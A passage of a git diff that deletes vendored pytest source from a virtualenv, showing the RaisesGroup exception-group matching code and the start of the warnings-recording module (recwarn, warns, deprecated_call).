self._just_propagate: - return False - raise AssertionError(self._fail_reason) from None - - # Cast to narrow the exception type now that it's verified.... - # even though the TypeGuard in self.matches should be narrowing - exc_info = cast( - "tuple[type[BaseExcT_co_default], BaseExcT_co_default, types.TracebackType]", - (exc_type, exc_val, exc_tb), - ) - self.excinfo.fill_unfilled(exc_info) - return True - - -@final -class RaisesGroup(AbstractRaises[BaseExceptionGroup[BaseExcT_co]]): - """ - .. versionadded:: 8.4 - - Contextmanager for checking for an expected :exc:`ExceptionGroup`. - This works similar to :func:`pytest.raises`, but allows for specifying the structure of an :exc:`ExceptionGroup`. - :meth:`ExceptionInfo.group_contains` also tries to handle exception groups, - but it is very bad at checking that you *didn't* get unexpected exceptions. - - The catching behaviour differs from :ref:`except* `, being much - stricter about the structure by default. - By using ``allow_unwrapped=True`` and ``flatten_subgroups=True`` you can match - :ref:`except* ` fully when expecting a single exception. - - :param args: - Any number of exception types, :class:`RaisesGroup` or :class:`RaisesExc` - to specify the exceptions contained in this exception. - All specified exceptions must be present in the raised group, *and no others*. - - If you expect a variable number of exceptions you need to use - :func:`pytest.raises(ExceptionGroup) ` and manually check - the contained exceptions. Consider making use of :meth:`RaisesExc.matches`. - - It does not care about the order of the exceptions, so - ``RaisesGroup(ValueError, TypeError)`` - is equivalent to - ``RaisesGroup(TypeError, ValueError)``. - :kwparam str | re.Pattern[str] | None match: - If specified, a string containing a regular expression, - or a regular expression object, that is tested against the string - representation of the exception group and its :pep:`678` `__notes__` - using :func:`re.search`. - - To match a literal string that may contain :ref:`special characters - `, the pattern can first be escaped with :func:`re.escape`. - - Note that " (5 subgroups)" will be stripped from the ``repr`` before matching. - :kwparam Callable[[E], bool] check: - If specified, a callable that will be called with the group as a parameter - after successfully matching the expected exceptions. If it returns ``True`` - it will be considered a match, if not it will be considered a failed match. - :kwparam bool allow_unwrapped: - If expecting a single exception or :class:`RaisesExc` it will match even - if the exception is not inside an exceptiongroup. - - Using this together with ``match``, ``check`` or expecting multiple exceptions - will raise an error. - :kwparam bool flatten_subgroups: - "flatten" any groups inside the raised exception group, extracting all exceptions - inside any nested groups, before matching. Without this it expects you to - fully specify the nesting structure by passing :class:`RaisesGroup` as expected - parameter. - - Examples:: - - with RaisesGroup(ValueError): - raise ExceptionGroup("", (ValueError(),)) - # match - with RaisesGroup( - ValueError, - ValueError, - RaisesExc(TypeError, match="^expected int$"), - match="^my group$", - ): - raise ExceptionGroup( - "my group", - [ - ValueError(), - TypeError("expected int"), - ValueError(), - ], - ) - # check - with RaisesGroup( - KeyboardInterrupt, - match="^hello$", - check=lambda x: isinstance(x.__cause__, ValueError), - ): - raise BaseExceptionGroup("hello", [KeyboardInterrupt()]) from ValueError - # nested groups - with RaisesGroup(RaisesGroup(ValueError)): - raise ExceptionGroup("", (ExceptionGroup("", (ValueError(),)),)) - - # flatten_subgroups - with RaisesGroup(ValueError, flatten_subgroups=True): - raise ExceptionGroup("", (ExceptionGroup("", (ValueError(),)),)) - - # allow_unwrapped - with RaisesGroup(ValueError, allow_unwrapped=True): - raise ValueError - - - :meth:`RaisesGroup.matches` can also be used directly to check a standalone exception group. - - - The matching algorithm is greedy, which means cases such as this may fail:: - - with RaisesGroup(ValueError, RaisesExc(ValueError, match="hello")): - raise ExceptionGroup("", (ValueError("hello"), ValueError("goodbye"))) - - even though it generally does not care about the order of the exceptions in the group. - To avoid the above you should specify the first :exc:`ValueError` with a :class:`RaisesExc` as well. - - .. note:: - When raised exceptions don't match the expected ones, you'll get a detailed error - message explaining why. This includes ``repr(check)`` if set, which in Python can be - overly verbose, showing memory locations etc etc. - - If installed and imported (in e.g. ``conftest.py``), the ``hypothesis`` library will - monkeypatch this output to provide shorter & more readable repr's. - """ - - # allow_unwrapped=True requires: singular exception, exception not being - # RaisesGroup instance, match is None, check is None - @overload - def __init__( - self, - expected_exception: type[BaseExcT_co] | RaisesExc[BaseExcT_co], - /, - *, - allow_unwrapped: Literal[True], - flatten_subgroups: bool = False, - ) -> None: ... - - # flatten_subgroups = True also requires no nested RaisesGroup - @overload - def __init__( - self, - expected_exception: type[BaseExcT_co] | RaisesExc[BaseExcT_co], - /, - *other_exceptions: type[BaseExcT_co] | RaisesExc[BaseExcT_co], - flatten_subgroups: Literal[True], - match: str | Pattern[str] | None = None, - check: Callable[[BaseExceptionGroup[BaseExcT_co]], bool] | None = None, - ) -> None: ... - - # simplify the typevars if possible (the following 3 are equivalent but go simpler->complicated) - # ... the first handles RaisesGroup[ValueError], the second RaisesGroup[ExceptionGroup[ValueError]], - # the third RaisesGroup[ValueError | ExceptionGroup[ValueError]]. - # ... otherwise, we will get results like RaisesGroup[ValueError | ExceptionGroup[Never]] (I think) - # (technically correct but misleading) - @overload - def __init__( - self: RaisesGroup[ExcT_1], - expected_exception: type[ExcT_1] | RaisesExc[ExcT_1], - /, - *other_exceptions: type[ExcT_1] | RaisesExc[ExcT_1], - match: str | Pattern[str] | None = None, - check: Callable[[ExceptionGroup[ExcT_1]], bool] | None = None, - ) -> None: ... - - @overload - def __init__( - self: RaisesGroup[ExceptionGroup[ExcT_2]], - expected_exception: RaisesGroup[ExcT_2], - /, - *other_exceptions: RaisesGroup[ExcT_2], - match: str | Pattern[str] | None = None, - check: Callable[[ExceptionGroup[ExceptionGroup[ExcT_2]]], bool] | None = None, - ) -> None: ... - - @overload - def __init__( - self: RaisesGroup[ExcT_1 | ExceptionGroup[ExcT_2]], - expected_exception: type[ExcT_1] | RaisesExc[ExcT_1] | RaisesGroup[ExcT_2], - /, - *other_exceptions: type[ExcT_1] | RaisesExc[ExcT_1] | RaisesGroup[ExcT_2], - match: str | Pattern[str] | None = None, - check: ( - Callable[[ExceptionGroup[ExcT_1 | ExceptionGroup[ExcT_2]]], bool] | None - ) = None, - ) -> None: ... - - # same as the above 3 but handling BaseException - @overload - def __init__( - self: RaisesGroup[BaseExcT_1], - expected_exception: type[BaseExcT_1] | RaisesExc[BaseExcT_1], - /, - *other_exceptions: type[BaseExcT_1] | RaisesExc[BaseExcT_1], - match: str | Pattern[str] | None = None, - check: Callable[[BaseExceptionGroup[BaseExcT_1]], bool] | None = None, - ) -> None: ... - - @overload - def __init__( - self: RaisesGroup[BaseExceptionGroup[BaseExcT_2]], - expected_exception: RaisesGroup[BaseExcT_2], - /, - *other_exceptions: RaisesGroup[BaseExcT_2], - match: str | Pattern[str] | None = None, - check: ( - Callable[[BaseExceptionGroup[BaseExceptionGroup[BaseExcT_2]]], bool] | None - ) = None, - ) -> None: ... - - @overload - def __init__( - self: RaisesGroup[BaseExcT_1 | BaseExceptionGroup[BaseExcT_2]], - expected_exception: type[BaseExcT_1] - | RaisesExc[BaseExcT_1] - | RaisesGroup[BaseExcT_2], - /, - *other_exceptions: type[BaseExcT_1] - | RaisesExc[BaseExcT_1] - | RaisesGroup[BaseExcT_2], - match: str | Pattern[str] | None = None, - check: ( - Callable[ - [BaseExceptionGroup[BaseExcT_1 | BaseExceptionGroup[BaseExcT_2]]], - bool, - ] - | None - ) = None, - ) -> None: ... - - def __init__( - self: RaisesGroup[ExcT_1 | BaseExcT_1 | BaseExceptionGroup[BaseExcT_2]], - expected_exception: type[BaseExcT_1] - | RaisesExc[BaseExcT_1] - | RaisesGroup[BaseExcT_2], - /, - *other_exceptions: type[BaseExcT_1] - | RaisesExc[BaseExcT_1] - | RaisesGroup[BaseExcT_2], - allow_unwrapped: bool = False, - flatten_subgroups: bool = False, - match: str | Pattern[str] | None = None, - check: ( - Callable[[BaseExceptionGroup[BaseExcT_1]], bool] - | Callable[[ExceptionGroup[ExcT_1]], bool] - | None - ) = None, - ): - # The type hint on the `self` and `check` parameters uses different formats - # that are *very* hard to reconcile while adhering to the overloads, so we cast - # it to avoid an error when passing it to super().__init__ - check = cast( - "Callable[[BaseExceptionGroup[ExcT_1|BaseExcT_1|BaseExceptionGroup[BaseExcT_2]]], bool]", - check, - ) - super().__init__(match=match, check=check) - self.allow_unwrapped = allow_unwrapped - self.flatten_subgroups: bool = flatten_subgroups - self.is_baseexception = False - - if allow_unwrapped and other_exceptions: - raise ValueError( - "You cannot specify multiple exceptions with `allow_unwrapped=True.`" - " If you want to match one of multiple possible exceptions you should" - " use a `RaisesExc`." - " E.g. `RaisesExc(check=lambda e: isinstance(e, (...)))`", - ) - if allow_unwrapped and isinstance(expected_exception, RaisesGroup): - raise ValueError( - "`allow_unwrapped=True` has no effect when expecting a `RaisesGroup`." - " You might want it in the expected `RaisesGroup`, or" - " `flatten_subgroups=True` if you don't care about the structure.", - ) - if allow_unwrapped and (match is not None or check is not None): - raise ValueError( - "`allow_unwrapped=True` bypasses the `match` and `check` parameters" - " if the exception is unwrapped. If you intended to match/check the" - " exception you should use a `RaisesExc` object. If you want to match/check" - " the exceptiongroup when the exception *is* wrapped you need to" - " do e.g. `if isinstance(exc.value, ExceptionGroup):" - " assert RaisesGroup(...).matches(exc.value)` afterwards.", - ) - - self.expected_exceptions: tuple[ - type[BaseExcT_co] | RaisesExc[BaseExcT_co] | RaisesGroup[BaseException], ... - ] = tuple( - self._parse_excgroup(e, "a BaseException type, RaisesExc, or RaisesGroup") - for e in ( - expected_exception, - *other_exceptions, - ) - ) - - def _parse_excgroup( - self, - exc: ( - type[BaseExcT_co] - | types.GenericAlias - | RaisesExc[BaseExcT_1] - | RaisesGroup[BaseExcT_2] - ), - expected: str, - ) -> type[BaseExcT_co] | RaisesExc[BaseExcT_1] | RaisesGroup[BaseExcT_2]: - # verify exception type and set `self.is_baseexception` - match exc: - case RaisesGroup() if self.flatten_subgroups: - raise ValueError( - "You cannot specify a nested structure inside a RaisesGroup with" - " `flatten_subgroups=True`. The parameter will flatten subgroups" - " in the raised exceptiongroup before matching, which would never" - " match a nested structure.", - ) - case RaisesGroup() | RaisesExc(): - self.is_baseexception |= exc.is_baseexception - exc._nested = True - return exc - case tuple(): - raise TypeError( - f"Expected {expected}, but got {type(exc).__name__!r}.\n" - "RaisesGroup does not support tuples of exception types when expecting one of " - "several possible exception types like RaisesExc.\n" - "If you meant to expect a group with multiple exceptions, list them as separate arguments." - ) - case _: - return super()._parse_exc(exc, expected) - - @overload - def __enter__( - self: RaisesGroup[ExcT_1], - ) -> ExceptionInfo[ExceptionGroup[ExcT_1]]: ... - @overload - def __enter__( - self: RaisesGroup[BaseExcT_1], - ) -> ExceptionInfo[BaseExceptionGroup[BaseExcT_1]]: ... - - def __enter__(self) -> ExceptionInfo[BaseExceptionGroup[BaseException]]: - self.excinfo: ExceptionInfo[BaseExceptionGroup[BaseExcT_co]] = ( - ExceptionInfo.for_later() - ) - return self.excinfo - - def __repr__(self) -> str: - reqs = [ - e.__name__ if isinstance(e, type) else repr(e) - for e in self.expected_exceptions - ] - if self.allow_unwrapped: - reqs.append(f"allow_unwrapped={self.allow_unwrapped}") - if self.flatten_subgroups: - reqs.append(f"flatten_subgroups={self.flatten_subgroups}") - if self.match is not None: - # If no flags were specified, discard the redundant re.compile() here. - reqs.append(f"match={_match_pattern(self.match)!r}") - if self.check is not None: - reqs.append(f"check={repr_callable(self.check)}") - return f"RaisesGroup({', '.join(reqs)})" - - def _unroll_exceptions( - self, - exceptions: Sequence[BaseException], - ) -> Sequence[BaseException]: - """Used if `flatten_subgroups=True`.""" - res: list[BaseException] = [] - for exc in exceptions: - if isinstance(exc, BaseExceptionGroup): - res.extend(self._unroll_exceptions(exc.exceptions)) - - else: - res.append(exc) - return res - - @overload - def matches( - self: RaisesGroup[ExcT_1], - exception: BaseException | None, - ) -> TypeGuard[ExceptionGroup[ExcT_1]]: ... - @overload - def matches( - self: RaisesGroup[BaseExcT_1], - exception: BaseException | None, - ) -> TypeGuard[BaseExceptionGroup[BaseExcT_1]]: ... - - def matches( - self, - exception: BaseException | None, - ) -> bool: - """Check if an exception matches the requirements of this RaisesGroup. - If it fails, `RaisesGroup.fail_reason` will be set. - - Example:: - - with pytest.raises(TypeError) as excinfo: - ... - assert RaisesGroup(ValueError).matches(excinfo.value.__cause__) - # the above line is equivalent to - myexc = excinfo.value.__cause - assert isinstance(myexc, BaseExceptionGroup) - assert len(myexc.exceptions) == 1 - assert isinstance(myexc.exceptions[0], ValueError) - """ - self._fail_reason = None - if exception is None: - self._fail_reason = "exception is None" - return False - if not isinstance(exception, BaseExceptionGroup): - # we opt to only print type of the exception here, as the repr would - # likely be quite long - not_group_msg = f"`{type(exception).__name__}()` is not an exception group" - if len(self.expected_exceptions) > 1: - self._fail_reason = not_group_msg - return False - # if we have 1 expected exception, check if it would work even if - # allow_unwrapped is not set - res = self._check_expected(self.expected_exceptions[0], exception) - if res is None and self.allow_unwrapped: - return True - - if res is None: - self._fail_reason = ( - f"{not_group_msg}, but would match with `allow_unwrapped=True`" - ) - elif self.allow_unwrapped: - self._fail_reason = res - else: - self._fail_reason = not_group_msg - return False - - actual_exceptions: Sequence[BaseException] = exception.exceptions - if self.flatten_subgroups: - actual_exceptions = self._unroll_exceptions(actual_exceptions) - - if not self._check_match(exception): - self._fail_reason = cast(str, self._fail_reason) - old_reason = self._fail_reason - if ( - len(actual_exceptions) == len(self.expected_exceptions) == 1 - and isinstance(expected := self.expected_exceptions[0], type) - and isinstance(actual := actual_exceptions[0], expected) - and self._check_match(actual) - ): - assert self.match is not None, "can't be None if _check_match failed" - assert self._fail_reason is old_reason is not None - self._fail_reason += ( - f"\n" - f" but matched the expected `{self._repr_expected(expected)}`.\n" - f" You might want " - f"`RaisesGroup(RaisesExc({expected.__name__}, match={_match_pattern(self.match)!r}))`" - ) - else: - self._fail_reason = old_reason - return False - - # do the full check on expected exceptions - if not self._check_exceptions( - exception, - actual_exceptions, - ): - self._fail_reason = cast(str, self._fail_reason) - assert self._fail_reason is not None - old_reason = self._fail_reason - # if we're not expecting a nested structure, and there is one, do a second - # pass where we try flattening it - if ( - not self.flatten_subgroups - and not any( - isinstance(e, RaisesGroup) for e in self.expected_exceptions - ) - and any(isinstance(e, BaseExceptionGroup) for e in actual_exceptions) - and self._check_exceptions( - exception, - self._unroll_exceptions(exception.exceptions), - ) - ): - # only indent if it's a single-line reason. In a multi-line there's already - # indented lines that this does not belong to. - indent = " " if "\n" not in self._fail_reason else "" - self._fail_reason = ( - old_reason - + f"\n{indent}Did you mean to use `flatten_subgroups=True`?" - ) - else: - self._fail_reason = old_reason - return False - - # Only run `self.check` once we know `exception` is of the correct type. - if not self._check_check(exception): - reason = ( - cast(str, self._fail_reason) + f" on the {type(exception).__name__}" - ) - if ( - len(actual_exceptions) == len(self.expected_exceptions) == 1 - and isinstance(expected := self.expected_exceptions[0], type) - # we explicitly break typing here :) - and self._check_check(actual_exceptions[0]) # type: ignore[arg-type] - ): - self._fail_reason = reason + ( - f", but did return True for the expected {self._repr_expected(expected)}." - f" You might want RaisesGroup(RaisesExc({expected.__name__}, check=<...>))" - ) - else: - self._fail_reason = reason - return False - - return True - - @staticmethod - def _check_expected( - expected_type: ( - type[BaseException] | RaisesExc[BaseException] | RaisesGroup[BaseException] - ), - exception: BaseException, - ) -> str | None: - """Helper method for `RaisesGroup.matches` and `RaisesGroup._check_exceptions` - to check one of potentially several expected exceptions.""" - if isinstance(expected_type, type): - return _check_raw_type(expected_type, exception) - res = expected_type.matches(exception) - if res: - return None - assert expected_type.fail_reason is not None - if expected_type.fail_reason.startswith("\n"): - return f"\n{expected_type!r}: {indent(expected_type.fail_reason, ' ')}" - return f"{expected_type!r}: {expected_type.fail_reason}" - - @staticmethod - def _repr_expected(e: type[BaseException] | AbstractRaises[BaseException]) -> str: - """Get the repr of an expected type/RaisesExc/RaisesGroup, but we only want - the name if it's a type""" - if isinstance(e, type): - return _exception_type_name(e) - return repr(e) - - @overload - def _check_exceptions( - self: RaisesGroup[ExcT_1], - _exception: Exception, - actual_exceptions: Sequence[Exception], - ) -> TypeGuard[ExceptionGroup[ExcT_1]]: ... - @overload - def _check_exceptions( - self: RaisesGroup[BaseExcT_1], - _exception: BaseException, - actual_exceptions: Sequence[BaseException], - ) -> TypeGuard[BaseExceptionGroup[BaseExcT_1]]: ... - - def _check_exceptions( - self, - _exception: BaseException, - actual_exceptions: Sequence[BaseException], - ) -> bool: - """Helper method for RaisesGroup.matches that attempts to pair up expected and actual exceptions""" - # The _exception parameter is not used, but necessary for the TypeGuard - - # full table with all results - results = ResultHolder(self.expected_exceptions, actual_exceptions) - - # (indexes of) raised exceptions that haven't (yet) found an expected - remaining_actual = list(range(len(actual_exceptions))) - # (indexes of) expected exceptions that haven't found a matching raised - failed_expected: list[int] = [] - # successful greedy matches - matches: dict[int, int] = {} - - # loop over expected exceptions first to get a more predictable result - for i_exp, expected in enumerate(self.expected_exceptions): - for i_rem in remaining_actual: - res = self._check_expected(expected, actual_exceptions[i_rem]) - results.set_result(i_exp, i_rem, res) - if res is None: - remaining_actual.remove(i_rem) - matches[i_exp] = i_rem - break - else: - failed_expected.append(i_exp) - - # All exceptions matched up successfully - if not remaining_actual and not failed_expected: - return True - - # in case of a single expected and single raised we simplify the output - if 1 == len(actual_exceptions) == len(self.expected_exceptions): - assert not matches - self._fail_reason = res - return False - - # The test case is failing, so we can do a slow and exhaustive check to find - # duplicate matches etc that will be helpful in debugging - for i_exp, expected in enumerate(self.expected_exceptions): - for i_actual, actual in enumerate(actual_exceptions): - if results.has_result(i_exp, i_actual): - continue - results.set_result( - i_exp, i_actual, self._check_expected(expected, actual) - ) - - successful_str = ( - f"{len(matches)} matched exception{'s' if len(matches) > 1 else ''}. " - if matches - else "" - ) - - # all expected were found - if not failed_expected and results.no_match_for_actual(remaining_actual): - self._fail_reason = ( - f"{successful_str}Unexpected exception(s):" - f" {[actual_exceptions[i] for i in remaining_actual]!r}" - ) - return False - # all raised exceptions were expected - if not remaining_actual and results.no_match_for_expected(failed_expected): - no_match_for_str = ", ".join( - self._repr_expected(self.expected_exceptions[i]) - for i in failed_expected - ) - self._fail_reason = f"{successful_str}Too few exceptions raised, found no match for: [{no_match_for_str}]" - return False - - # if there's only one remaining and one failed, and the unmatched didn't match anything else, - # we elect to only print why the remaining and the failed didn't match. - if ( - 1 == len(remaining_actual) == len(failed_expected) - and results.no_match_for_actual(remaining_actual) - and results.no_match_for_expected(failed_expected) - ): - self._fail_reason = f"{successful_str}{results.get_result(failed_expected[0], remaining_actual[0])}" - return False - - # there's both expected and raised exceptions without matches - s = "" - if matches: - s += f"\n{successful_str}" - indent_1 = " " * 2 - indent_2 = " " * 4 - - if not remaining_actual: - s += "\nToo few exceptions raised!" - elif not failed_expected: - s += "\nUnexpected exception(s)!" - - if failed_expected: - s += "\nThe following expected exceptions did not find a match:" - rev_matches = {v: k for k, v in matches.items()} - for i_failed in failed_expected: - s += ( - f"\n{indent_1}{self._repr_expected(self.expected_exceptions[i_failed])}" - ) - for i_actual, actual in enumerate(actual_exceptions): - if results.get_result(i_failed, i_actual) is None: - # we print full repr of match target - s += ( - f"\n{indent_2}It matches {backquote(repr(actual))} which was paired with " - + backquote( - self._repr_expected( - self.expected_exceptions[rev_matches[i_actual]] - ) - ) - ) - - if remaining_actual: - s += "\nThe following raised exceptions did not find a match" - for i_actual in remaining_actual: - s += f"\n{indent_1}{actual_exceptions[i_actual]!r}:" - for i_exp, expected in enumerate(self.expected_exceptions): - res = results.get_result(i_exp, i_actual) - if i_exp in failed_expected: - assert res is not None - if res[0] != "\n": - s += "\n" - s += indent(res, indent_2) - if res is None: - # we print full repr of match target - s += ( - f"\n{indent_2}It matches {backquote(self._repr_expected(expected))} " - f"which was paired with {backquote(repr(actual_exceptions[matches[i_exp]]))}" - ) - - if len(self.expected_exceptions) == len(actual_exceptions) and possible_match( - results - ): - s += ( - "\nThere exist a possible match when attempting an exhaustive check," - " but RaisesGroup uses a greedy algorithm. " - "Please make your expected exceptions more stringent with `RaisesExc` etc" - " so the greedy algorithm can function." - ) - self._fail_reason = s - return False - - def __exit__( - self, - exc_type: type[BaseException] | None, - exc_val: BaseException | None, - exc_tb: types.TracebackType | None, - ) -> bool: - __tracebackhide__ = True - if exc_type is None: - fail(f"DID NOT RAISE any exception, expected `{self.expected_type()}`") - - assert self.excinfo is not None, ( - "Internal error - should have been constructed in __enter__" - ) - - # group_str is the only thing that differs between RaisesExc and RaisesGroup... - # I might just scrap it? Or make it part of fail_reason - group_str = ( - "(group)" - if self.allow_unwrapped and not issubclass(exc_type, BaseExceptionGroup) - else "group" - ) - - if not self.matches(exc_val): - fail(f"Raised exception {group_str} did not match: {self._fail_reason}") - - # Cast to narrow the exception type now that it's verified.... - # even though the TypeGuard in self.matches should be narrowing - exc_info = cast( - "tuple[type[BaseExceptionGroup[BaseExcT_co]], BaseExceptionGroup[BaseExcT_co], types.TracebackType]", - (exc_type, exc_val, exc_tb), - ) - self.excinfo.fill_unfilled(exc_info) - return True - - def expected_type(self) -> str: - subexcs = [] - for e in self.expected_exceptions: - if isinstance(e, RaisesExc): - subexcs.append(repr(e)) - elif isinstance(e, RaisesGroup): - subexcs.append(e.expected_type()) - elif isinstance(e, type): - subexcs.append(e.__name__) - else: # pragma: no cover - raise AssertionError("unknown type") - group_type = "Base" if self.is_baseexception else "" - return f"{group_type}ExceptionGroup({', '.join(subexcs)})" - - -@final -class NotChecked: - """Singleton for unchecked values in ResultHolder""" - - -class ResultHolder: - """Container for results of checking exceptions. - Used in RaisesGroup._check_exceptions and possible_match. - """ - - def __init__( - self, - expected_exceptions: tuple[ - type[BaseException] | AbstractRaises[BaseException], ... - ], - actual_exceptions: Sequence[BaseException], - ) -> None: - self.results: list[list[str | type[NotChecked] | None]] = [ - [NotChecked for _ in expected_exceptions] for _ in actual_exceptions - ] - - def set_result(self, expected: int, actual: int, result: str | None) -> None: - self.results[actual][expected] = result - - def get_result(self, expected: int, actual: int) -> str | None: - res = self.results[actual][expected] - assert res is not NotChecked - return res - - def has_result(self, expected: int, actual: int) -> bool: - return self.results[actual][expected] is not NotChecked - - def no_match_for_expected(self, expected: list[int]) -> bool: - for i in expected: - for actual_results in self.results: - assert actual_results[i] is not NotChecked - if actual_results[i] is None: - return False - return True - - def no_match_for_actual(self, actual: list[int]) -> bool: - for i in actual: - for res in self.results[i]: - assert res is not NotChecked - if res is None: - return False - return True - - -def possible_match(results: ResultHolder, used: set[int] | None = None) -> bool: - if used is None: - used = set() - curr_row = len(used) - if curr_row == len(results.results): - return True - return any( - val is None and i not in used and possible_match(results, used | {i}) - for (i, val) in enumerate(results.results[curr_row]) - ) diff --git a/venv/Lib/site-packages/_pytest/recwarn.py b/venv/Lib/site-packages/_pytest/recwarn.py deleted file mode 100644 index c3cb10b7f08077bb2cdc45d04cf64a8d9b0db5ab..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/_pytest/recwarn.py +++ /dev/null @@ -1,379 +0,0 @@ -# mypy: allow-untyped-defs -"""Record warnings during test function execution.""" - -from __future__ import annotations - -from collections.abc import Callable -from collections.abc import Generator -from collections.abc import Iterator -from pprint import pformat -import re -from types import TracebackType -from typing import Any -from typing import final -from typing import overload -from typing import TYPE_CHECKING -from typing import TypeVar - - -if TYPE_CHECKING: - from typing_extensions import ParamSpec - from typing_extensions import Self - - P = ParamSpec("P") - -import warnings - -from _pytest.deprecated import check_ispytest -from _pytest.fixtures import fixture -from _pytest.outcomes import Exit -from _pytest.outcomes import fail - - -T = TypeVar("T") - - -@fixture -def recwarn() -> Generator[WarningsRecorder]: - """Return a :class:`WarningsRecorder` instance that records all warnings emitted by test functions. - - See :ref:`warnings` for information on warning categories. - """ - wrec = WarningsRecorder(_ispytest=True) - with wrec: - warnings.simplefilter("default") - yield wrec - - -@overload -def deprecated_call( - *, match: str | re.Pattern[str] | None = ... -) -> WarningsRecorder: ... - - -@overload -def deprecated_call(func: Callable[P, T], *args: P.args, **kwargs: P.kwargs) -> T: ... - - -def deprecated_call( - func: Callable[..., Any] | None = None, *args: Any, **kwargs: Any -) -> WarningsRecorder | Any: - """Assert that code produces a ``DeprecationWarning`` or ``PendingDeprecationWarning`` or ``FutureWarning``. - - This function can be used as a context manager:: - - >>> import warnings - >>> def api_call_v2(): - ... warnings.warn('use v3 of this api', DeprecationWarning) - ... return 200 - - >>> import pytest - >>> with pytest.deprecated_call(): - ... assert api_call_v2() == 200 - >>> with pytest.deprecated_call(match="^use v3 of this api$") as warning_messages: - ... assert api_call_v2() == 200 - - You may use the keyword argument ``match`` to assert - that the warning matches a text or regex. - - The return value is a list of :class:`warnings.WarningMessage` objects, - one for each warning emitted - (regardless of whether it is an ``expected_warning`` or not). - """ - __tracebackhide__ = True - dep_warnings = (DeprecationWarning, PendingDeprecationWarning, FutureWarning) - if func is None: - return warns(dep_warnings, *args, **kwargs) - - with warns(dep_warnings): - return func(*args, **kwargs) - - -@overload -def warns( - expected_warning: type[Warning] | tuple[type[Warning], ...] = ..., - *, - match: str | re.Pattern[str] | None = ..., -) -> WarningsChecker: ... - - -@overload -def warns( - expected_warning: type[Warning] | tuple[type[Warning], ...], - func: Callable[P, T], - *args: P.args, - **kwargs: P.kwargs, -) -> T: ... - - -def warns( - expected_warning: type[Warning] | tuple[type[Warning], ...] = Warning, - func: Callable[..., object] | None = None, - *args: Any, - **kwargs: Any, -) -> WarningsChecker | Any: - r"""Assert that code raises a particular class of warning. - - Specifically, the parameter ``expected_warning`` can be a warning class or tuple - of warning classes, and the code inside the ``with`` block must issue at least one - warning of that class or classes. - - This helper produces a list of :class:`warnings.WarningMessage` objects, one for - each warning emitted (regardless of whether it is an ``expected_warning`` or not). - Since pytest 8.0, unmatched warnings are also re-emitted when the context closes. - - This function should be used as a context manager:: - - >>> import pytest - >>> with pytest.warns(RuntimeWarning): - ... warnings.warn("my warning", RuntimeWarning) - - The ``match`` keyword argument can be used to assert - that the warning matches a text or regex:: - - >>> with pytest.warns(UserWarning, match='must be 0 or None'): - ... warnings.warn("value must be 0 or None", UserWarning) - - >>> with pytest.warns(UserWarning, match=r'must be \d+$'): - ... warnings.warn("value must be 42", UserWarning) - - >>> with pytest.warns(UserWarning): # catch re-emitted warning - ... with pytest.warns(UserWarning, match=r'must be \d+$'): - ... warnings.warn("this is not here", UserWarning) - Traceback (most recent call last): - ... - Failed: Regex pattern did not match any of the 1 warnings emitted. - Regex: ... - Emitted warnings: ...UserWarning... - - **Using with** ``pytest.mark.parametrize`` - - When using :ref:`pytest.mark.parametrize ref` it is possible to parametrize tests - such that some runs raise a warning and others do not. - - This could be achieved in the same way as with exceptions, see - :ref:`parametrizing_conditional_raising` for an example. - - """ - __tracebackhide__ = True - if func is None and not args: - match: str | re.Pattern[str] | None = kwargs.pop("match", None) - if kwargs: - argnames = ", ".join(sorted(kwargs)) - raise TypeError( - f"Unexpected keyword arguments passed to pytest.warns: {argnames}" - "\nUse context-manager form instead?" - ) - return WarningsChecker(expected_warning, match_expr=match, _ispytest=True) - else: - if not callable(func): - raise TypeError(f"{func!r} object (type: {type(func)}) must be callable") - with WarningsChecker(expected_warning, _ispytest=True): - return func(*args, **kwargs) - - -class WarningsRecorder(warnings.catch_warnings): - """A context manager to record raised warnings. - - Each recorded warning is an instance of :class:`warnings.WarningMessage`. - - Adapted from `warnings.catch_warnings`. - - .. note:: - ``DeprecationWarning`` and ``PendingDeprecationWarning`` are treated - differently; see :ref:`ensuring_function_triggers`. - - """ - - def __init__(self, *, _ispytest: bool = False) -> None: - check_ispytest(_ispytest) - super().__init__(record=True) - self._entered = False - self._list: list[warnings.WarningMessage] = [] - - @property - def list(self) -> list[warnings.WarningMessage]: - """The list of recorded warnings.""" - return self._list - - def __getitem__(self, i: int) -> warnings.WarningMessage: - """Get a recorded warning by index.""" - return self._list[i] - - def __iter__(self) -> Iterator[warnings.WarningMessage]: - """Iterate through the recorded warnings.""" - return iter(self._list) - - def __len__(self) -> int: - """The number of recorded warnings.""" - return len(self._list) - - def pop(self, cls: type[Warning] = Warning) -> warnings.WarningMessage: - """Pop the first recorded warning which is an instance of ``cls``, - but not an instance of a child class of any other match. - Raises ``AssertionError`` if there is no match. - """ - best_idx: int | None = None - for i, w in enumerate(self._list): - if w.category == cls: - return self._list.pop(i) # exact match, stop looking - if issubclass(w.category, cls) and ( - best_idx is None - or not issubclass(w.category, self._list[best_idx].category) - ): - best_idx = i - if best_idx is not None: - return self._list.pop(best_idx) - __tracebackhide__ = True - raise AssertionError(f"{cls!r} not found in warning list") - - def clear(self) -> None: - """Clear the list of recorded warnings.""" - self._list[:] = [] - - # Type ignored because we basically want the `catch_warnings` generic type - # parameter to be ourselves but that is not possible(?). - def __enter__(self) -> Self: # type: ignore[override] - if self._entered: - __tracebackhide__ = True - raise RuntimeError(f"Cannot enter {self!r} twice") - _list = super().__enter__() - # record=True means it's None. - assert _list is not None - self._list = _list - warnings.simplefilter("always") - return self - - def __exit__( - self, - exc_type: type[BaseException] | None, - exc_val: BaseException | None, - exc_tb: TracebackType | None, - ) -> None: - if not self._entered: - __tracebackhide__ = True - raise RuntimeError(f"Cannot exit {self!r} without entering first") - - super().__exit__(exc_type, exc_val, exc_tb) - - # Built-in catch_warnings does not reset entered state so we do it - # manually here for this context manager to become reusable. - self._entered = False - - -@final -class WarningsChecker(WarningsRecorder): - def __init__( - self, - expected_warning: type[Warning] | tuple[type[Warning], ...] = Warning, - match_expr: str | re.Pattern[str] | None = None, - *, - _ispytest: bool = False, - ) -> None: - check_ispytest(_ispytest) - super().__init__(_ispytest=True) - - msg = "exceptions must be derived from Warning, not %s" - if isinstance(expected_warning, tuple): - for exc in expected_warning: - if not issubclass(exc, Warning): - raise TypeError(msg % type(exc)) - expected_warning_tup = expected_warning - elif isinstance(expected_warning, type) and issubclass( - expected_warning, Warning - ): - expected_warning_tup = (expected_warning,) - else: - raise TypeError(msg % type(expected_warning)) - - self.expected_warning = expected_warning_tup - self.match_expr = match_expr - - def matches(self, warning: 